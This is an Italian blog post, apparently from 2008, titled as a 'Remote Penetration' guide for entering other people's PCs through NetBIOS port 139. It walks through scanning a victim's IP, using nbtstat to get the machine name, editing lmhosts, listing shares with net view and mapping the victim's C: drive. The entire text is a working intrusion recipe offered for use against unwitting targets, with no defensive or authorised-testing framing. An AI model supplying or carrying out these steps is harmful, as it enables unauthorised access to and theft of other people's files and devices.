Remote Penetration: Entrare in PC altrui con la porta 139 (NetBios)
Prima di tutto, prelevate l’IP della vittima.
Fate una scansione dell’IP per vedere se la porta 139 del PC della vittima è aperta con un port scanner (potete usare Nmap sia per Linux che per Windows).
Appena avete trovato la porta 139 aperta, apriamo il prompt di comandi andando su Start -> Esegui -> cmd.exe.
Digitate: cd C:\Windows
Digitate: Nbtstat -A “IP” (l’ip della vittima con la porta 139 aperta)
Adesso comparirà una tabella con nome, tipo e stato… prendiamo nota del nome dell’IP della nostra vittima
Adesso digitate: Edit C:\windows\lmhosts
Adesso nel file da modificare (nella schermata blu) inseriamo: “IP””NOME DELL’IP DELLA VITTIMA”#PRE
Appena avete finito, andate su File -> Salva e uscite (File -> Esci)
Digitate: Nbtstat -R
Digitate: Net View \\”NOME DELL’IP DELLA VITTIMA”
Se non avete sbagliato, vi uscirà la lista delle periferiche condivise (stampanti, HD…)
Ora basta andare in Risorse di Rete -> Strumenti -> Connetti ad unità di rete e inserite come nome dell’unità rete: \\”NOME DELL’IP DELLA VITTIMA”\C
L’unità C è condivisa nel vostro PC.
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- Pubblicato:
- settembre 16, 2008 / 8:33 pm
- Categoria:
- Remote Penetration
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